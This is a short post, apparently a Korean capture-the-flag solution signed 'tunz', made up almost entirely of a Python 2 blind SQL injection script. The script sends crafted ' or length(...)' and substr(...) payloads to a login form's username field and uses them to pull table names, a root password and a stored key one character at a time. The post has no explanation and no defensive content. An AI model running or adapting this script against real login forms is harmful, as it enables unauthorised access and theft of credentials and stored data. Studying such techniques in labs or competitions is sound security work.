sqlite injection 문제.


import httplib,urllib;
 
# Blind SQL injection
ck = ""
referer = ""
 
# barking up the wrong tree --
 
# setting
#toget = "(SELECT password from users where name='root')"
#toget = "(SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)"
#toget = "(SELECT count() from keys)"
#toget = "(SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)"
toget = "(SELECT value FROM keys LIMIT 1 OFFSET 0)"
stage = 2
 
print "[*] Stage1: Find Length of " + toget
 
answer = ""
length=0
j = 1
k = 1
i = 0x7E
conn = httplib.HTTPConnection("babysfirst.shallweplayaga.me",8041)
conn.connect()
while j <= stage:
        if j is 1:
                query = "' or length("+toget+")="+str(k)+" -- "
        else:
                query = "' or substr("+toget+","+str(k)+",1) = '"+chr(i)+"' -- "
        val = urllib.urlencode({'username': query,'password':'1'})
        headers = { 'Accept':'text/html, application/xhtml+xml, */*', 'Content-type': 'application/x-www-form-urlencoded', 'Content-length': str(len(val)), 'Cookie': ck, 'Referer': referer, 'Accept-Language':'ko-KR','User-Agent':'User-Agent: Mozilla/5.0 (compatible; MSIE 10.6; hello; Trident/6.0)'}
        params = urllib.urlencode({'id':query,'password':'abc'})
        conn.request('POST','/login',val,headers)
        response = conn.getresponse()
        data = response.read()
        if j is 1:
                print "now: "+str(k)
                if data.find('root') is not -1:
                        length = k
                        print "[+] Length: " + str(length)
                        print data
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                if k is 100:
                        print "[-] NotFound"
                        break
                k = k+1
        else:
                print "now: "+chr(i)
                if data.find('root') is not -1:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0x7E
                        if k > length:
                                break
                        else:
                                continue
                i = i-1
 
conn.close()
print data
print "Answer:" +answer


posted by tunz